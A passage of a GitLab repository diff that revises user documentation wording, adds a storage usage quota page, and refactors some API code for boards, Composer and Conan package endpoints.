from the browser's address bar by typing: `https://gitlab.com/<namespace>/<project_name>/-/wikis/_sidebar` (for self-managed GitLab instances, replace `gitlab.com` with your instance's URL).
@@ -226,4 +226,4 @@ Example for `_sidebar` (using Markdown format):
- [Sidebar](_sidebar)
```
-Support for displaying a generated TOC with a custom side navigation is planned.
+Support for displaying a generated table of contents with a custom side navigation is planned.
diff --git a/doc/user/reserved_names.md b/doc/user/reserved_names.md
index ea3ca7a28d7..16ff8538630 100644
--- a/doc/user/reserved_names.md
+++ b/doc/user/reserved_names.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Reserved project and group names
diff --git a/doc/user/search/advanced_global_search.md b/doc/user/search/advanced_global_search.md
index 3152229c39f..1898bdf06a9 100644
--- a/doc/user/search/advanced_global_search.md
+++ b/doc/user/search/advanced_global_search.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Global Search
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -9,7 +9,7 @@ type: reference
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109) in GitLab [Starter](https://about.gitlab.com/pricing/) 8.4.
-NOTE: **GitLab.com availability:**
+NOTE:
Advanced Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10.
Leverage Elasticsearch for faster, more advanced code search across your entire
@@ -43,11 +43,7 @@ The Advanced Search can be useful in various scenarios.
### Faster searches
-If you are dealing with huge amount of data and want to keep GitLab's search
-fast, Advanced Search will help you achieve that.
-
-NOTE: **Note:**
-Between versions 12.10 and 13.4, Advanced Search response times have improved by 80%.
+Advanced Search is based on Elasticsearch, which is a purpose built full text search engine that can be horizontally scaled so that it can provide search results in 1-2 seconds in most cases.
### Promote innersourcing
@@ -66,7 +62,7 @@ project you have access to.
You can also use the [Advanced Search Syntax](advanced_search_syntax.md) which
provides some useful queries.
-NOTE: **Note:**
+NOTE:
Elasticsearch has only data for the default branch. That means that if you go
to the repository tree and switch the branch from the default to something else,
then the "Code" tab in the search result page will be served by the basic
diff --git a/doc/user/search/advanced_search_syntax.md b/doc/user/search/advanced_search_syntax.md
index c1414fb9ebe..fe2371947b4 100644
--- a/doc/user/search/advanced_search_syntax.md
+++ b/doc/user/search/advanced_search_syntax.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Global Search
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -9,7 +9,7 @@ type: reference
> - Introduced in [GitLab Enterprise Starter](https://about.gitlab.com/pricing/) 9.2
-NOTE: **GitLab.com availability:**
+NOTE:
Advanced Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10.
Use advanced queries for more targeted search results.
@@ -25,19 +25,6 @@ want to have more specific search results.
Advanced Search only supports searching the [default branch](../project/repository/branches/index.md#default-branch).
-## Use cases
-
-Let's say for example that the product you develop relies on the code of another
-product that's hosted under some other group.
-
-Since under your GitLab instance there are hosted hundreds of different projects,
-you need the search results to be as efficient as possible. You have a feeling
-of what you want to find (e.g., a function name), but at the same you're also
-not so sure.
-
-In that case, using the advanced search syntax in your query will yield much
-better results.
-
## Using the Advanced Search Syntax
The Advanced Search Syntax supports fuzzy or exact search queries with prefixes,
@@ -93,3 +80,10 @@ Examples:
- Finding `success` in all files excluding `.po|pot` files: [`success -filename:*.po*`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=success+-filename%3A*.po*&group_id=9970&project_id=278964)
- Finding `import` excluding minified JavaScript (`.min.js`) files: [`import -extension:min.js`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=import+-extension%3Amin.js&group_id=9970&project_id=278964)
- Finding `docs` for all files outside the `docs/` folder: [`docs -path:docs/`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=docs+-path%3Adocs%2F&group_id=9970&project_id=278964)
+
+### Search by issue or merge request ID
+
+You can search a specific issue or merge request by its ID with a special prefix.
+
+- To search by issue ID, use prefix `#` followed by issue ID. For example, [#23456](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=%2323456&group_id=9970&project_id=278964)
+- To search by merge request ID, use prefix `!` followed by merge request ID. For example [!23456](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=merge_requests&repository_ref=&search=%2123456&group_id=9970&project_id=278964)
diff --git a/doc/user/search/index.md b/doc/user/search/index.md
index 79c6cf3b07d..8c3d941192c 100644
--- a/doc/user/search/index.md
+++ b/doc/user/search/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: index, reference, howto
---
diff --git a/doc/user/shortcuts.md b/doc/user/shortcuts.md
index 6361aa856fe..282e3296735 100644
--- a/doc/user/shortcuts.md
+++ b/doc/user/shortcuts.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/shortcuts.html'
---
@@ -47,14 +47,14 @@ for example comments, replies, issue descriptions, and merge request description
| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>i</kbd> | Italicize the selected text (surround it with `_`). |
| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>k</kbd> | Add a link (surround the selected text with `[]()`). |
-NOTE: **Note:**
+NOTE:
The shortcuts for editing in text fields are always enabled, even when
other keyboard shortcuts are disabled as explained above.
## Project
These shortcuts are available from any page within a project. You must type them
-relatively quickly to work, and they will take you to another page in the project.
+relatively quickly to work, and they take you to another page in the project.
| Keyboard Shortcut | Description |
| --------------------------- | ----------- |
@@ -87,7 +87,7 @@ These shortcuts are available when viewing issues and merge requests.
| <kbd>a</kbd> | Change assignee. |
| <kbd>m</kbd> | Change milestone. |
| <kbd>l</kbd> | Change label. |
-| <kbd>r</kbd> | Start writing a comment. If any text is selected, it will be quoted in the comment. Can't be used to reply within a thread. |
+| <kbd>r</kbd> | Start writing a comment. If any text is selected, it is quoted in the comment. Can't be used to reply within a thread. |
| <kbd>n</kbd> | Move to next unresolved discussion (merge requests only). |
| <kbd>p</kbd> | Move to previous unresolved discussion (merge requests only). |
| <kbd>]</kbd> or <kbd>j</kbd> | Move to next file (merge requests only). |
@@ -153,6 +153,6 @@ These shortcuts are available when viewing [Epics](group/epics/index.md):
| Keyboard Shortcut | Description |
| ----------------- | ----------- |
-| <kbd>r</kbd> | Start writing a comment. If any text is selected, it will be quoted in the comment. Can't be used to reply within a thread. |
+| <kbd>r</kbd> | Start writing a comment. If any text is selected, it is quoted in the comment. Can't be used to reply within a thread. |
| <kbd>e</kbd> | Edit description. |
| <kbd>l</kbd> | Change label. |
diff --git a/doc/user/snippets.md b/doc/user/snippets.md
index 2d0c9d4f943..33aa0bd253b 100644
--- a/doc/user/snippets.md
+++ b/doc/user/snippets.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -52,7 +52,7 @@ part of the dropdown (**This project**).
From there, add the **Title**, **Description**, and a **File** name with the
appropriate extension (for example, `example.rb`, `index.html`).
-CAUTION: **Warning:**
+WARNING:
Make sure to add the file name to get code highlighting and to avoid this
[copy-pasting bug](https://gitlab.com/gitlab-org/gitlab/-/issues/22870).
diff --git a/doc/user/todos.md b/doc/user/todos.md
index 69c0736bdff..7d5a66a1632 100644
--- a/doc/user/todos.md
+++ b/doc/user/todos.md
@@ -2,7 +2,7 @@
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/todos.html'
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab To-Do List **(CORE)**
@@ -62,7 +62,7 @@ item.
To-do item triggers aren't affected by [GitLab notification email settings](profile/notifications.md).
-NOTE: **Note:**
+NOTE:
When a user no longer has access to a resource related to a to-do item (such as
an issue, merge request, epic, project, or group), for security reasons GitLab
deletes any related to-do items within the next hour. Deletion is delayed to
@@ -72,7 +72,7 @@ prevent data loss, in the case where a user's access is accidentally revoked.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7926) in GitLab 9.0.
-If you're mentioned at the start of a line, the to-do item you receive will be
+If you're mentioned at the start of a line, the to-do item you receive is
listed as *directly addressed*. For example, in the following comment:
```markdown
@@ -104,7 +104,7 @@ You can also add the following to your To-Do List by clicking the **Add a to do*
## Marking a to-do item as done
-Any action to an issue or merge request (or epic **(ULTIMATE)**) will mark its
+Any action to an issue or merge request (or epic **(PREMIUM)**) marks its
corresponding to-do item as done.
Actions that dismiss to-do items include:
diff --git a/doc/user/upgrade_email_bypass.md b/doc/user/upgrade_email_bypass.md
index 97d4b5e6a0a..e50b6959a70 100644
--- a/doc/user/upgrade_email_bypass.md
+++ b/doc/user/upgrade_email_bypass.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Updating to GitLab 13.2: Email confirmation issues
@@ -27,7 +27,7 @@ sent within five minutes, with a link for users to re-confirm the subject email
## Do the confirmation emails expire?
-The links in these re-confirmation emails expire after one day by default. Users who click an expired link will be asked to request a new re-confirmation email. Any user can request a new re-confirmation email from `http://gitlab.example.com/users/confirmation/new`.
+The links in these re-confirmation emails expire after one day by default. Users who click an expired link are asked to request a new re-confirmation email. Any user can request a new re-confirmation email from `http://gitlab.example.com/users/confirmation/new`.
## Generate a list of affected users
@@ -60,7 +60,7 @@ User.where(confirmed_at: nil).where('LENGTH(confirmation_token) = 32')
A regular user might receive a message that says "You have to confirm your email address before continuing". This message could includes a 404 or 422 error code, when the user tries to sign in.
-NOTE: **Note:**
+NOTE:
We hope to improve the [sign-in experience for an unverified user](https://gitlab.com/gitlab-org/gitlab/-/issues/29279) in a future release.
When an affected user commits code to a Git repository, that user may see the following message:
@@ -107,21 +107,21 @@ Once connected, run the following commands to confirm all user accounts:
User.where('LENGTH(confirmation_token) = 32').where(confirmed_at: nil).find_each { |u| u.confirmed_at = Time.now; u.save }
```
-CAUTION: **Caution:**
+WARNING:
The command described in this section may activate users who have not properly confirmed their email addresses.
## What about LDAP users?
-LDAP Users will remain confirmed if all of the following conditions are met:
+LDAP Users remain confirmed if all of the following conditions are met:
- The ["User email confirmation at sign-up" option](../security/user_email_confirmation.md) is set to false.
- The first sign-in is based on user LDAP credentials.
- The user has added and verified [a secondary email address](profile/index.md#profile-settings) some time later.
-NOTE: **Note:**
-Confirmation timestamps (primary vs. secondary) will be different.
+NOTE:
+Confirmation timestamps (primary vs. secondary) are different.
-Users will be unconfirmed by the background migration if any of the following conditions are met:
+Users remain unconfirmed by the background migration if any of the following conditions are met:
- They [create an account through GitLab](profile/account/create_accounts.md).
- They [swap their primary email address](profile/index.md#profile-settings) and verify it.
diff --git a/doc/user/usage_quotas.md b/doc/user/usage_quotas.md
new file mode 100644
index 00000000000..5f637c8d5cb
--- /dev/null
+++ b/doc/user/usage_quotas.md
@@ -0,0 +1,94 @@
+---
+type: howto
+stage: Fulfillment
+group: Provision
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Storage usage quota
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/13294) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.0.
+> - Moved to GitLab Free.
+
+A project's repository has a free storage quota of 10 GB. When a project's repository reaches
+the quota it is locked. You cannot push changes to a locked project. To monitor the size of each
+repository in a namespace, including a breakdown for each project, you can
+[view storage usage](#view-storage-usage). To allow a project's repository to exceed the free quota
+you must purchase additional storage. For more details, see [Excess storage usage](#excess-storage-usage).
+
+## View storage usage
+
+To help manage storage, a namespace's owner can view:
+
+- Total storage used in the namespace
+- Total storage used per project
+- Breakdown of storage use per project, by storage type.
+
+To view storage usage, from the namespace's page go to **Settings > Usage Quotas** and select the
+**Storage** tab. The Usage Quotas statistics are updated every 90 minutes.
+
+If your namespace shows `N/A` as the total storage usage, push a commit to any project in that
+namespace to trigger a recalculation.
+
+A stacked bar graph shows the proportional storage used for the namespace, including a total per
+storage item. Click on each project's title to see a breakdown per storage item.
+
+## Storage usage statistics **(BRONZE ONLY)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247831) in GitLab 13.7.
+> - It's [deployed behind a feature flag](../user/feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+The following storage usage statistics are available to an owner:
+
+- Total namespace storage used: Total amount of storage used across projects in this namespace.
+- Total excess storage used: Total amount of storage used that exceeds their allocated storage.
+- Purchased storage available: Total storage that has been purchased but is not yet used.
+
+## Excess storage usage
+
+Excess storage usage is the amount that a project's repository exceeds the free storage quota. If no
+purchased storage is available the project is locked. You cannot push changes to a locked project.
+To unlock a project you must [purchase more storage](../subscriptions/gitlab_com/index.md#purchase-more-storage)
+for the namespace. When the purchase is completed, locked projects are automatically unlocked. The
+amount of purchased storage available must always be greater than zero.
+
+The **Storage** tab of the **Usage Quotas** page warns you of the following:
+
+- Purchased storage available is running low.
+- Projects that are at risk of being locked if purchased storage available is zero.
+- Projects that are locked because purchased storage available is zero. Locked projects are
+ marked with an information icon (**{information-o}**) beside their name.
+
+### Excess storage example
+
+The following example describes an excess storage scenario for namespace _Example Company_:
+
+| Repository | Storage used | Excess storage | Quota | Status |
+|------------|--------------|----------------|--------|-------------------|
+| Red | 10 GB | 0 GB | 10 GB | Locked **{lock}** |
+| Blue | 8 GB | 0 GB | 10 GB | Not locked |
+| Green | 10 GB | 0 GB | 10 GB | Locked **{lock}** |
+| Yellow | 2 GB | 0 GB | 10 GB | Not locked |
+| **Totals** | **30 GB** | **0 GB** | - | - |
+
+The Red and Green projects are locked because their repositories have reached the quota. In this
+example, no additional storage has yet been purchased.
+
+To unlock the Red and Green projects, 50 GB additional storage is purchased.
+
+Assuming the Green and Red projects' repositories grow past the 10 GB quota, the purchased storage
+available decreases. All projects remain unlocked because 40 GB purchased storage is available:
+50 GB (purchased storage) - 10 GB (total excess storage used).
+
+| Repository | Storage used | Excess storage | Quota | Status |
+|------------|--------------|----------------|---------|-------------------|
+| Red | 15 GB | 5 GB | 10 GB | Not locked |
+| Blue | 14 GB | 4 GB | 10 GB | Not locked |
+| Green | 11 GB | 1 GB | 10 GB | Not locked |
+| Yellow | 5 GB | 0 GB | 10 GB | Not locked |
+| **Totals** | **45 GB** | **10 GB** | - | - |
diff --git a/jest.config.base.js b/jest.config.base.js
index 9f611775776..939c05985f5 100644
--- a/jest.config.base.js
+++ b/jest.config.base.js
@@ -30,6 +30,8 @@ module.exports = path => {
testMatch = testMatch.map(path => path.replace('_spec.js', ''));
}
+ const TEST_FIXTURES_PATTERN = 'test_fixtures(/.*)$';
+
const moduleNameMapper = {
'^~(/.*)$': '<rootDir>/app/assets/javascripts$1',
'^ee_component(/.*)$':
@@ -38,12 +40,12 @@ module.exports = path => {
'^ee_else_ce(/.*)$': '<rootDir>/app/assets/javascripts$1',
'^helpers(/.*)$': '<rootDir>/spec/frontend/helpers$1',
'^vendor(/.*)$': '<rootDir>/vendor/assets/javascripts$1',
+ [TEST_FIXTURES_PATTERN]: '<rootDir>/tmp/tests/frontend/fixtures$1',
'\\.(jpg|jpeg|png|svg|css)$': '<rootDir>/spec/frontend/__mocks__/file_mock.js',
'emojis(/.*).json': '<rootDir>/fixtures/emojis$1.json',
'^spec/test_constants$': '<rootDir>/spec/frontend/helpers/test_constants',
'^jest/(.*)$': '<rootDir>/spec/frontend/$1',
'test_helpers(/.*)$': '<rootDir>/spec/frontend_integration/test_helpers$1',
- 'test_fixtures(/.*)$': '<rootDir>/tmp/tests/frontend/fixtures$1',
};
const collectCoverageFrom = ['<rootDir>/app/assets/javascripts/**/*.{js,vue}'];
@@ -55,7 +57,7 @@ module.exports = path => {
'^ee_component(/.*)$': rootDirEE,
'^ee_else_ce(/.*)$': rootDirEE,
'^ee_jest/(.*)$': '<rootDir>/ee/spec/frontend/$1',
- 'test_fixtures(/.*)$': '<rootDir>/tmp/tests/frontend/fixtures-ee$1',
+ [TEST_FIXTURES_PATTERN]: '<rootDir>/tmp/tests/frontend/fixtures-ee$1',
});
collectCoverageFrom.push(rootDirEE.replace('$1', '/**/*.{js,vue}'));
@@ -86,6 +88,7 @@ module.exports = path => {
'^.+\\.(gql|graphql)$': 'jest-transform-graphql',
'^.+\\.js$': 'babel-jest',
'^.+\\.vue$': 'vue-jest',
+ '^.+\\.(md|zip|png)$': 'jest-raw-loader',
},
transformIgnorePatterns: [
'node_modules/(?!(@gitlab/ui|bootstrap-vue|three|monaco-editor|monaco-yaml)/)',
diff --git a/lib/api/admin/instance_clusters.rb b/lib/api/admin/instance_clusters.rb
index 679e231b283..b724d3a38dc 100644
--- a/lib/api/admin/instance_clusters.rb
+++ b/lib/api/admin/instance_clusters.rb
@@ -76,6 +76,7 @@ module API
optional :namespace_per_environment, default: true, type: Boolean, desc: 'Deploy each environment to a separate Kubernetes namespace'
optional :domain, type: String, desc: 'Cluster base domain'
optional :management_project_id, type: Integer, desc: 'The ID of the management project'
+ optional :managed, type: Boolean, desc: 'Determines if GitLab will manage namespaces and service accounts for this cluster'
optional :platform_kubernetes_attributes, type: Hash, desc: %q(Platform Kubernetes data) do
optional :api_url, type: String, desc: 'URL to access the Kubernetes API'
optional :token, type: String, desc: 'Token to authenticate against Kubernetes'
diff --git a/lib/api/api.rb b/lib/api/api.rb
index ea149f25584..06c2b46a2f2 100644
--- a/lib/api/api.rb
+++ b/lib/api/api.rb
@@ -211,7 +211,7 @@ module API
mount ::API::ProjectPackages
mount ::API::GroupPackages
mount ::API::PackageFiles
- mount ::API::NugetPackages
+ mount ::API::NugetProjectPackages
mount ::API::PypiPackages
mount ::API::ComposerPackages
mount ::API::ConanProjectPackages
diff --git a/lib/api/boards.rb b/lib/api/boards.rb
index f4b23c507f4..e2d30dd7c2b 100644
--- a/lib/api/boards.rb
+++ b/lib/api/boards.rb
@@ -117,8 +117,6 @@ module API
use :list_creation_params
end
post '/lists' do
- authorize_list_type_resource!
-
authorize!(:admin_list, user_project)
create_list
diff --git a/lib/api/boards_responses.rb b/lib/api/boards_responses.rb
index 2ae82f78e01..89355c84401 100644
--- a/lib/api/boards_responses.rb
+++ b/lib/api/boards_responses.rb
@@ -45,21 +45,17 @@ module API
def create_list
create_list_service =
- ::Boards::Lists::CreateService.new(board_parent, current_user, create_list_params)
+ ::Boards::Lists::CreateService.new(board_parent, current_user, declared_params.compact.with_indifferent_access)
- list = create_list_service.execute(board)
+ response = create_list_service.execute(board)
- if list.valid?
- present list, with: Entities::List
+ if response.success?
+ present response.payload[:list], with: Entities::List
else
- render_validation_error!(list)
+ render_api_error!({ error: response.errors.first }, 400)
end
end
- def create_list_params
- params.slice(:label_id)
- end
-
def move_list(list)
move_list_service =
::Boards::Lists::MoveService.new(board_parent, current_user, { position: params[:position].to_i })
@@ -80,14 +76,6 @@ module API
end
end
- # rubocop: disable CodeReuse/ActiveRecord
- def authorize_list_type_resource!
- unless available_labels_for(board_parent).exists?(params[:label_id])
- render_api_error!({ error: 'Label not found!' }, 400)
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
params :list_creation_params do
requires :label_id, type: Integer, desc: 'The ID of an existing label'
end
diff --git a/lib/api/ci/runner.rb b/lib/api/ci/runner.rb
index 85232b4ae1b..86e1a939df1 100644
--- a/lib/api/ci/runner.rb
+++ b/lib/api/ci/runner.rb
@@ -176,6 +176,10 @@ module API
optional :state, type: String, desc: %q(Job's status: success, failed)
optional :checksum, type: String, desc: %q(Job's trace CRC32 checksum)
optional :failure_reason, type: String, desc: %q(Job's failure_reason)
+ optional :output, type: Hash, desc: %q(Build log state) do
+ optional :checksum, type: String, desc: %q(Job's trace CRC32 checksum)
+ optional :bytesize, type: Integer, desc: %q(Job's trace size in bytes)
+ end
end
put '/:id' do
job = authenticate_job!
diff --git a/lib/api/composer_packages.rb b/lib/api/composer_packages.rb
index 0ac5cc45ccf..1181650fe96 100644
--- a/lib/api/composer_packages.rb
+++ b/lib/api/composer_packages.rb
@@ -38,6 +38,8 @@ module API
packages = ::Packages::Composer::PackagesFinder.new(current_user, user_group).execute
if params[:package_name].present?
+ params[:package_name], params[:sha] = params[:package_name].split('$')
+
packages = packages.with_name(params[:package_name])
end
@@ -93,6 +95,7 @@ module API
get ':id/-/packages/composer/*package_name', requirements: COMPOSER_ENDPOINT_REQUIREMENTS, file_path: true do
not_found! if packages.empty?
+ not_found! if params[:sha].blank?
presenter.package_versions
end
@@ -132,7 +135,7 @@ module API
track_package_event('push_package', :composer)
::Packages::Composer::CreatePackageService
- .new(authorized_user_project, current_user, declared_params)
+ .new(authorized_user_project, current_user, declared_params.merge(build: current_authenticated_job))
.execute
created!
diff --git a/lib/api/conan_instance_packages.rb b/lib/api/conan_instance_packages.rb
index 08265201328..8c13b580092 100644
--- a/lib/api/conan_instance_packages.rb
+++ b/lib/api/conan_instance_packages.rb
@@ -4,7 +4,7 @@
module API
class ConanInstancePackages < ::API::Base
namespace 'packages/conan/v1' do
- include ConanPackageEndpoints
+ include ::API::Concerns::Packages::ConanEndpoints
end
end
end
diff --git a/lib/api/conan_package_endpoints.rb b/lib/api/conan_package_endpoints.rb
deleted file mode 100644
index 188a42f26f8..00000000000
--- a/lib/api/conan_package_endpoints.rb
+++ /dev/null
@@ -1,351 +0,0 @@
-# frozen_string_literal: true
-
-# Conan Package Manager Client API
-#
-# These API endpoints are not consumed directly by users, so there is no documentation for the
-# individual endpoints. They are called by the Conan package manager client when users run commands
-# like `conan install` or `conan upload`. The usage of the GitLab Conan repository is documented here:
-# https://docs.gitlab.com/ee/user/packages/conan_repository/#installing-a-package
-#
-# Technical debt: https://gitlab.com/gitlab-org/gitlab/issues/35798
-module API
- module ConanPackageEndpoints
- extend ActiveSupport::Concern
-
- PACKAGE_REQUIREMENTS = {
- package_name: API::NO_SLASH_URL_PART_REGEX,
- package_version: API::NO_SLASH_URL_PART_REGEX,
- package_username: API::NO_SLASH_URL_PART_REGEX,
- package_channel: API::NO_SLASH_URL_PART_REGEX
- }.freeze
-
- FILE_NAME_REQUIREMENTS = {
- file_name: API::NO_SLASH_URL_PART_REGEX
- }.freeze
-
- PACKAGE_COMPONENT_REGEX = Gitlab::Regex.conan_recipe_component_regex
- CONAN_REVISION_REGEX = Gitlab::Regex.conan_revision_regex
-
- CONAN_FILES = (Gitlab::Regex::Packages::CONAN_RECIPE_FILES + Gitlab::Regex::Packages::CONAN_PACKAGE_FILES).freeze
-
- included do
- feature_category :package_registry
-
- helpers ::API::Helpers::PackagesManagerClientsHelpers
- helpers ::API::Helpers::Packages::Conan::ApiHelpers
- helpers ::API::Helpers::RelatedResourcesHelpers
-
- before do
- require_packages_enabled!
-
- # Personal access token will be extracted from Bearer or Basic authorization
- # in the overridden find_personal_access_token or find_user_from_job_token helpers
- authenticate!
- end
-
- desc 'Ping the Conan API' do
- detail 'This feature was introduced in GitLab 12.2'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'ping' do
- header 'X-Conan-Server-Capabilities', [].join(',')
- end
-
- desc 'Search for packages' do
- detail 'This feature was introduced in GitLab 12.4'
- end
-
- params do
- requires :q, type: String, desc: 'Search query'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'conans/search' do
- service = ::Packages::Conan::SearchService.new(current_user, query: params[:q]).execute
- service.payload
- end
-
- namespace 'users' do
- format :txt
-
- desc 'Authenticate user against conan CLI' do
- detail 'This feature was introduced in GitLab 12.2'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'authenticate' do
- unauthorized! unless token
-
- token.to_jwt
- end
-
- desc 'Check for valid user credentials per conan CLI' do
- detail 'This feature was introduced in GitLab 12.4'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'check_credentials' do
- authenticate!
- :ok
- end
- end
-
- params do
- requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name'
- requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version'
- requires :package_username, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package username'
- requires :package_channel, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package channel'
- end
- namespace 'conans/:package_name/:package_version/:package_username/:package_channel', requirements: PACKAGE_REQUIREMENTS do
- # Get the snapshot
- #
- # the snapshot is a hash of { filename: md5 hash }
- # md5 hash is the has of that file. This hash is used to diff the files existing on the client
- # to determine which client files need to be uploaded if no recipe exists the snapshot is empty
- desc 'Package Snapshot' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- params do
- requires :conan_package_reference, type: String, desc: 'Conan package ID'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'packages/:conan_package_reference' do
- authorize!(:read_package, project)
-
- presenter = ::Packages::Conan::PackagePresenter.new(
- package,
- current_user,
- project,
- conan_package_reference: params[:conan_package_reference]
- )
-
- present presenter, with: ::API::Entities::ConanPackage::ConanPackageSnapshot
- end
-
- desc 'Recipe Snapshot' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get do
- authorize!(:read_package, project)
-
- presenter = ::Packages::Conan::PackagePresenter.new(package, current_user, project)
-
- present presenter, with: ::API::Entities::ConanPackage::ConanRecipeSnapshot
- end
-
- # Get the manifest
- # returns the download urls for the existing recipe in the registry
- #
- # the manifest is a hash of { filename: url }
- # where the url is the download url for the file
- desc 'Package Digest' do
- detail 'This feature was introduced in GitLab 12.5'
- end
- params do
- requires :conan_package_reference, type: String, desc: 'Conan package ID'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'packages/:conan_package_reference/digest' do
- present_package_download_urls
- end
-
- desc 'Recipe Digest' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'digest' do
- present_recipe_download_urls
- end
-
- # Get the download urls
- #
- # returns the download urls for the existing recipe or package in the registry
- #
- # the manifest is a hash of { filename: url }
- # where the url is the download url for the file
- desc 'Package Download Urls' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- params do
- requires :conan_package_reference, type: String, desc: 'Conan package ID'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'packages/:conan_package_reference/download_urls' do
- present_package_download_urls
- end
-
- desc 'Recipe Download Urls' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'download_urls' do
- present_recipe_download_urls
- end
-
- # Get the upload urls
- #
- # request body contains { filename: filesize } where the filename is the
- # name of the file the conan client is requesting to upload
- #
- # returns { filename: url }
- # where the url is the upload url for the file that the conan client will use
- desc 'Package Upload Urls' do
- detail 'This feature was introduced in GitLab 12.4'
- end
-
- params do
- requires :conan_package_reference, type: String, desc: 'Conan package ID'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- post 'packages/:conan_package_reference/upload_urls' do
- authorize!(:read_package, project)
-
- status 200
- present package_upload_urls, with: ::API::Entities::ConanPackage::ConanUploadUrls
- end
-
- desc 'Recipe Upload Urls' do
- detail 'This feature was introduced in GitLab 12.4'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- post 'upload_urls' do
- authorize!(:read_package, project)
-
- status 200
- present recipe_upload_urls, with: ::API::Entities::ConanPackage::ConanUploadUrls
- end
-
- desc 'Delete Package' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
